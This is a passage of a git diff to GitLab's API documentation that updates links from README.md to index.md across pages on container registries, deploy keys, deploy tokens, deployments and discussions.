| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user
| `sha` | string | yes | The commit hash or name of a repository branch or tag |
```shell
diff --git a/doc/api/container_registry.md b/doc/api/container_registry.md
index 4de024da2de..cf5a7f89c8b 100644
--- a/doc/api/container_registry.md
+++ b/doc/api/container_registry.md
@@ -42,7 +42,7 @@ GET /projects/:id/registry/repositories
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) accessible by the authenticated user. |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) accessible by the authenticated user. |
| `tags` | boolean | no | If the parameter is included as true, each repository includes an array of `"tags"` in the response. |
| `tags_count` | boolean | no | If the parameter is included as true, each repository includes `"tags_count"` in the response ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/32141) in GitLab 13.1). |
@@ -85,7 +85,7 @@ GET /groups/:id/registry/repositories
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) accessible by the authenticated user. |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) accessible by the authenticated user. |
| `tags` | boolean | no | If the parameter is included as true, each repository includes an array of `"tags"` in the response. |
| `tags_count` | boolean | no | If the parameter is included as true, each repository includes `"tags_count"` in the response ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/32141) in GitLab 13.1). |
@@ -200,7 +200,7 @@ DELETE /projects/:id/registry/repositories/:repository_id
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `repository_id` | integer | yes | The ID of registry repository. |
```shell
@@ -220,7 +220,7 @@ GET /projects/:id/registry/repositories/:repository_id/tags
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) accessible by the authenticated user. |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) accessible by the authenticated user. |
| `repository_id` | integer | yes | The ID of registry repository. |
```shell
@@ -255,7 +255,7 @@ GET /projects/:id/registry/repositories/:repository_id/tags/:tag_name
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) accessible by the authenticated user. |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) accessible by the authenticated user. |
| `repository_id` | integer | yes | The ID of registry repository. |
| `tag_name` | string | yes | The name of tag. |
@@ -289,7 +289,7 @@ DELETE /projects/:id/registry/repositories/:repository_id/tags/:tag_name
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `repository_id` | integer | yes | The ID of registry repository. |
| `tag_name` | string | yes | The name of tag. |
@@ -314,7 +314,7 @@ DELETE /projects/:id/registry/repositories/:repository_id/tags
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `repository_id` | integer | yes | The ID of registry repository. |
| `name_regex` | string | no | The [re2](https://github.com/google/re2/wiki/Syntax) regex of the name to delete. To delete all tags specify `.*`. **Note:** `name_regex` is deprecated in favor of `name_regex_delete`. This field is validated. |
| `name_regex_delete` | string | yes | The [re2](https://github.com/google/re2/wiki/Syntax) regex of the name to delete. To delete all tags specify `.*`. This field is validated. |
diff --git a/doc/api/dependencies.md b/doc/api/dependencies.md
index 6175c26ed75..c85a3521aed 100644
--- a/doc/api/dependencies.md
+++ b/doc/api/dependencies.md
@@ -30,7 +30,7 @@ GET /projects/:id/dependencies?package_manager=yarn,bundler
| Attribute | Type | Required | Description |
| ------------- | -------------- | -------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
| `package_manager` | string array | no | Returns dependencies belonging to specified package manager. Valid values: `bundler`, `composer`, `maven`, `npm`, `pip` or `yarn`. |
```shell
diff --git a/doc/api/dependency_proxy.md b/doc/api/dependency_proxy.md
index 139669c018c..e9ddc1e9df9 100644
--- a/doc/api/dependency_proxy.md
+++ b/doc/api/dependency_proxy.md
@@ -23,7 +23,7 @@ DELETE /groups/:id/dependency_proxy/cache
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
Example request:
diff --git a/doc/api/deploy_keys.md b/doc/api/deploy_keys.md
index 3b063180900..3d6d680e3e4 100644
--- a/doc/api/deploy_keys.md
+++ b/doc/api/deploy_keys.md
@@ -47,7 +47,7 @@ GET /projects/:id/deploy_keys
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
```shell
curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/deploy_keys"
@@ -86,7 +86,7 @@ Parameters:
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `key_id` | integer | yes | The ID of the deploy key |
```shell
@@ -118,7 +118,7 @@ POST /projects/:id/deploy_keys
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `title` | string | yes | New deploy key's title |
| `key` | string | yes | New deploy key |
| `can_push` | boolean | no | Can deploy key push to the project's repository |
@@ -151,7 +151,7 @@ PUT /projects/:id/deploy_keys/:key_id
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `title` | string | no | New deploy key's title |
| `can_push` | boolean | no | Can deploy key push to the project's repository |
@@ -182,7 +182,7 @@ DELETE /projects/:id/deploy_keys/:key_id
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `key_id` | integer | yes | The ID of the deploy key |
```shell
@@ -199,7 +199,7 @@ curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitla
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `key_id` | integer | yes | The ID of the deploy key |
Example response:
diff --git a/doc/api/deploy_tokens.md b/doc/api/deploy_tokens.md
index d8aab8896a1..6ed8f76583f 100644
--- a/doc/api/deploy_tokens.md
+++ b/doc/api/deploy_tokens.md
@@ -66,7 +66,7 @@ Parameters:
| Attribute | Type | Required | Description |
|:---------------|:---------------|:-----------------------|:------------|
-| `id` | integer/string | **{check-circle}** Yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer/string | **{check-circle}** Yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
| `active` | boolean | **{dotted-circle}** No | Limit by active status. |
Example request:
@@ -108,7 +108,7 @@ Parameters:
| Attribute | Type | Required | Description |
| ------------ | ---------------- | ---------------------- | ----------- |
-| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `name` | string | **{check-circle}** Yes | New deploy token's name |
| `expires_at` | datetime | **{dotted-circle}** No | Expiration date for the deploy token. Does not expire if no value is provided. Expected in ISO 8601 format (`2019-03-15T08:00:00Z`) |
| `username` | string | **{dotted-circle}** No | Username for deploy token. Default is `gitlab+deploy-token-{n}` |
@@ -153,7 +153,7 @@ Parameters:
| Attribute | Type | Required | Description |
| ---------- | -------------- | ---------------------- | ----------- |
-| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `token_id` | integer | **{check-circle}** Yes | The ID of the deploy token |
Example request:
@@ -182,7 +182,7 @@ Parameters:
| Attribute | Type | Required | Description |
|:---------------|:---------------|:-----------------------|:------------|
-| `id` | integer/string | **{check-circle}** Yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer/string | **{check-circle}** Yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
| `active` | boolean | **{dotted-circle}** No | Limit by active status. |
Example request:
@@ -224,7 +224,7 @@ Parameters:
| Attribute | Type | Required | Description |
| ------------ | ---- | --------- | ----------- |
-| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `name` | string | **{check-circle}** Yes | New deploy token's name |
| `expires_at` | datetime | **{dotted-circle}** No | Expiration date for the deploy token. Does not expire if no value is provided. Expected in ISO 8601 format (`2019-03-15T08:00:00Z`) |
| `username` | string | **{dotted-circle}** No | Username for deploy token. Default is `gitlab+deploy-token-{n}` |
@@ -269,7 +269,7 @@ Parameters:
| Attribute | Type | Required | Description |
| ----------- | -------------- | ---------------------- | ----------- |
-| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `token_id` | integer | **{check-circle}** Yes | The ID of the deploy token |
Example request:
diff --git a/doc/api/deployments.md b/doc/api/deployments.md
index a2e56fc8557..3ed431cf63d 100644
--- a/doc/api/deployments.md
+++ b/doc/api/deployments.md
@@ -17,7 +17,7 @@ GET /projects/:id/deployments
| Attribute | Type | Required | Description |
|------------------|----------------|----------|-----------------------------------------------------------------------------------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `order_by` | string | no | Return deployments ordered by either one of `id`, `iid`, `created_at`, `updated_at` or `ref` fields. Default is `id`. |
| `sort` | string | no | Return deployments sorted in `asc` or `desc` order. Default is `asc`. |
| `updated_after` | datetime | no | Return deployments updated after the specified date. Expected in ISO 8601 format (`2019-03-15T08:00:00Z`). |
@@ -184,7 +184,7 @@ GET /projects/:id/deployments/:deployment_id
| Attribute | Type | Required | Description |
|-----------|---------|----------|---------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `deployment_id` | integer | yes | The ID of the deployment |
```shell
@@ -272,7 +272,7 @@ POST /projects/:id/deployments
| Attribute | Type | Required | Description |
|---------------|----------------|----------|-----------------------------------------------------------------------------------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user.|
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user.|
| `environment` | string | yes | The [name of the environment](../ci/environments/index.md) to create the deployment for. |
| `sha` | string | yes | The SHA of the commit that is deployed. |
| `ref` | string | yes | The name of the branch or tag that is deployed. |
@@ -319,7 +319,7 @@ PUT /projects/:id/deployments/:deployment_id
| Attribute | Type | Required | Description |
|------------------|----------------|----------|---------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `deployment_id` | integer | yes | The ID of the deployment to update. |
| `status` | string | no | The new status of the deployment. One of `created`, `running`, `success`, `failed`, or `canceled`. |
diff --git a/doc/api/discussions.md b/doc/api/discussions.md
index d8d989adfe2..9e9b9dcc901 100644
--- a/doc/api/discussions.md
+++ b/doc/api/discussions.md
@@ -21,7 +21,7 @@ This includes system notes, which are notes about changes to the object (for exa
By default, `GET` requests return 20 results at a time because the API results are paginated.
-Read more on [pagination](README.md#pagination).
+Read more on [pagination](index.md#pagination).
## Issues
@@ -35,7 +35,7 @@ GET /projects/:id/issues/:issue_iid/discussions
| Attribute | Type | Required | Description |
| ------------------- | ---------------- | ---------- | ------------ |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `issue_iid` | integer | yes | The IID of an issue |
```json
@@ -133,7 +133,7 @@ Parameters:
| Attribute | Type | Required | Description |
| --------------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `issue_iid` | integer | yes | The IID of an issue |
| `discussion_id` | integer | yes | The ID of a discussion item |
@@ -153,7 +153,7 @@ Parameters:
| Attribute | Type | Required | Description |
| --------------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `issue_iid` | integer | yes | The IID of an issue |
| `body` | string | yes | The content of the thread |
| `created_at` | string | no | Date time string, ISO 8601 formatted, such as `2016-03-11T03:45:40Z` (requires administrator or project/group owner rights) |
@@ -164,7 +164,7 @@ curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitla
### Add note to existing issue thread
-Adds a new note to the thread. This can also [create a thread from a single comment](../user/discussions/#start-a-thread-by-replying-to-a-standard-comment).
+Adds a new note to the thread. This can also [create a thread from a single comment](../user/discussions/#create-a-thread-by-replying-to-a-standard-comment).
**WARNING**
Notes can be added to other items than comments, such as system notes, making them threads.
@@ -177,7 +177,7 @@ Parameters:
| Attribute | Type | Required | Description |
| --------------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `issue_iid` | integer | yes | The IID of an issue |
| `discussion_id` | integer | yes | The ID of a thread |
| `note_id` | integer | yes | The ID of a thread note |
@@ -200,7 +200,7 @@ Parameters:
| Attribute | Type | Required | Description |
| --------------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `issue_iid` | integer | yes | The IID of an issue |
| `discussion_id` | integer | yes | The ID of a thread |
| `note_id` | integer | yes | The ID of a thread note |
@@ -222,7 +222,7 @@ Parameters:
| Attribute | Type | Required | Description |
| --------------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `issue_iid` | integer | yes | The IID of an issue |
| `discussion_id` | integer | yes | The ID of a discussion |
| `note_id` | integer | yes | The ID of a discussion note |
@@ -243,7 +243,7 @@ GET /projects/:id/snippets/:snippet_id/discussions
| Attribute | Type | Required | Description |
| ------------------- | ---------------- | ---------- | ------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `snippet_id` | integer | yes | The ID of an snippet |
```json
@@ -341,7 +341,7 @@ Parameters:
| Attribute | Type | Required | Description |
| --------------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `snippet_id` | integer | yes | The ID of an snippet |
| `discussion_id` | integer | yes | The ID of a discussion item |
@@ -362,7 +362,7 @@ Parameters:
| Attribute | Type | Required | Description |
| --------------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `snippet_id` | integer | yes | The ID of an snippet |
| `body` | string | yes | The content of a discussion |
| `created_at` | string | no | Date time string, ISO 8601 formatted, such as `2016-03-11T03:45:40Z` (requires administrator or project/group owner rights) |
@@ -383,7 +383,7 @@ Parameters:
| Attribute | Type | Required | Description |
| --------------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `snippet_id` | integer | yes | The ID of an snippet |
| `discussion_id` | integer | yes | The ID of a thread |
| `note_id` | integer | yes | The ID of a thread note |
@@ -406,7 +406,7 @@ Parameters:
| Attribute | Type | Required | Description |
| --------------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `snippet_id` | integer | yes | The ID of an snippet |
| `discussion_id` | integer | yes | The ID of a thread |
| `note_id` | integer | yes | The ID of a thread note |
@@ -428,7 +428,7 @@ Parameters:
| Attribute | Type | Required | Description |
| --------------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `snippet_id` | integer | yes | The ID of an snippet |
| `discussion_id` | integer | yes | The ID of a discussion |
| `note_id` | integer | yes | The ID of a discussion note |
@@ -449,7 +449,7 @@ GET /groups/:id/epics/:epic_id/discussions
| Attribute | Type | Required | Description |
| ------------------- | ---------------- | ---------- | ------------ |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) |
| `epic_id` | integer | yes | The ID of an epic |
```json
@@ -548,7 +548,7 @@ Parameters:
| Attribute | Type | Required | Description |
| --------------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) |
| `epic_id` | integer | yes | The ID of an epic |
| `discussion_id` | integer | yes | The ID of a discussion item |
@@ -569,7 +569,7 @@ Parameters:
| Attribute | Type | Required | Description |
| --------------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) |
| `epic_id` | integer | yes | The ID of an epic |
| `body` | string | yes | The content of the thread |
| `created_at` | string | no | Date time string, ISO 8601 formatted, such as `2016-03-11T03:45:40Z` (requires administrator or project/group owner rights) |
@@ -581,7 +581,7 @@ curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitla
### Add note to existing epic thread
Adds a new note to the thread. This can also
-[create a thread from a single comment](../user/discussions/#start-a-thread-by-replying-to-a-standard-comment).
+[create a thread from a single comment](../user/discussions/#create-a-thread-by-replying-to-a-standard-comment).
```plaintext
POST /groups/:id/epics/:epic_id/discussions/:discussion_id/notes
@@ -591,7 +591,7 @@ Parameters:
| Attribute | Type | Required | Description |
| --------------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) |
| `epic_id` | integer | yes | The ID of an epic |
| `discussion_id` | integer | yes | The ID of a thread |
| `note_id` | integer | yes | The ID of a thread note |
@@ -614,7 +614,7 @@ Parameters:
| Attribute | Type | Required | Description |
| --------------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) |
| `epic_id` | integer | yes | The ID of an epic |
| `discussion_id` | integer | yes | The ID of a thread |
| `note_id` | integer | yes | The ID of a thread note |
@@ -636,7 +636,7 @@ Parameters:
| Attribute | Type | Required | Description |
| --------------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) |
| `epic_id` | integer | yes | The ID of an epic |
| `discussion_id` | integer | yes | The ID of a thread |
| `note_id` | integer | yes | The ID of a thread note |
@@ -657,7 +657,7 @@ GET /projects/:id/merge_requests/:merge_request_iid/discussions
| Attribute | Type | Required | Description |
| ------------------- | ---------------- | ---------- | ------------ |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `merge_request_iid` | integer | yes | The IID of a merge request |
```json
@@ -820,7 +820,7 @@ Parameters:
| Attribute | Type | Required | Description |
| ------------------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `merge_request_iid` | integer | yes | The IID of a merge request |
| `discussion_id` | integer | yes | The ID of a discussion item |
@@ -843,7 +843,7 @@ Parameters for all comments:
| Attribute | Type | Required | Description |
| ---------------------------------------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `merge_request_iid` | integer | yes | The IID of a merge request |
| `body` | string | yes | The content of the thread |
| `commit_id` | string | no | SHA referencing commit to start this thread on |
@@ -954,7 +954,7 @@ Parameters:
| Attribute | Type | Required | Description |
| ------------------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `merge_request_iid` | integer | yes | The IID of a merge request |
| `discussion_id` | integer | yes | The ID of a thread |
| `resolved` | boolean | yes | Resolve/unresolve the discussion |
@@ -966,7 +966,7 @@ curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab
### Add note to existing merge request thread
Adds a new note to the thread. This can also
-[create a thread from a single comment](../user/discussions/#start-a-thread-by-replying-to-a-standard-comment).
+[create a thread from a single comment](../user/discussions/#create-a-thread-by-replying-to-a-standard-comment).
```plaintext
POST /projects/:id/merge_requests/:merge_request_iid/discussions/:discussion_id/notes
@@ -976,7 +976,7 @@ Parameters:
| Attribute | Type | Required | Description |
| ------------------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `merge_request_iid` | integer | yes | The IID of a merge request |
| `discussion_id` | integer | yes | The ID of a thread |
| `note_id` | integer | yes | The ID of a thread note |
@@ -999,7 +999,7 @@ Parameters:
| Attribute | Type | Required | Description |
| ------------------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `merge_request_iid` | integer | yes | The IID of a merge request |
| `discussion_id` | integer | yes | The ID of a thread |
| `note_id` | integer | yes | The ID of a thread note |
@@ -1028,7 +1028,7 @@ Parameters:
| Attribute | Type | Required | Description |
| ------------------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `merge_request_iid` | integer | yes | The IID of a merge request |
| `discussion_id` | integer | yes | The ID of a thread |
| `note_id` | integer | yes | The ID of a thread note |
@@ -1049,7 +1049,7 @@ GET /projects/:id/commits/:commit_id/discussions
| Attribute | Type | Required | Description |
| ------------------- | ---------------- | ---------- | ------------ |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `commit_id` | integer | yes | The ID of a commit |
```json
@@ -1192,7 +1192,7 @@ Parameters:
| Attribute | Type | Required | Description |
| ------------------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `commit_id` | integer | yes | The ID of a commit |
| `discussion_id` | integer | yes | The ID of a discussion item |
@@ -1213,7 +1213,7 @@ Parameters:
| Attribute | Type | Required | Description |
| ------------------------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `commit_id` | integer | yes | The ID of a commit |
| `body` | string | yes | The content of the thread |
| `created_at` | string | no | Date time string, ISO 8601 formatted, such as `2016-03-11T03:45:40Z` (requires administrator or project/group owner rights) |
@@ -1247,7 +1247,7 @@ Parameters:
| Attribute | Type | Required | Description |
| ------------------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `commit_id` | integer | yes | The ID of a commit |
| `discussion_id` | integer | yes | The ID of a thread |
| `note_id` | integer | yes | The ID of a thread note |
@@ -1270,7 +1270,7 @@ Parameters:
| Attribute | Type | Required | Description |
| ------------------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `commit_id` | integer | yes | The ID of a commit |
| `discussion_id` | integer | yes | The ID of a thread |
| `note_id` | integer | yes | The ID of a thread note |
@@ -1298,7 +1298,7 @@ Parameters:
| Attribute | Type | Required | Description |
| ------------------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `commit_id` | integer | yes | The ID of a commit |
| `discussion_id` | integer | yes | The ID of a thread |
| `note_id` | integer | yes | The ID of a thread note |
diff --git a/doc/api/dora/metrics.md b/doc/api/dora/metrics.md
index 99826550b61..38f1f50839e 100644
--- a/doc/api/dora/metrics.md
+++ b/doc/api/dora/metrics.md
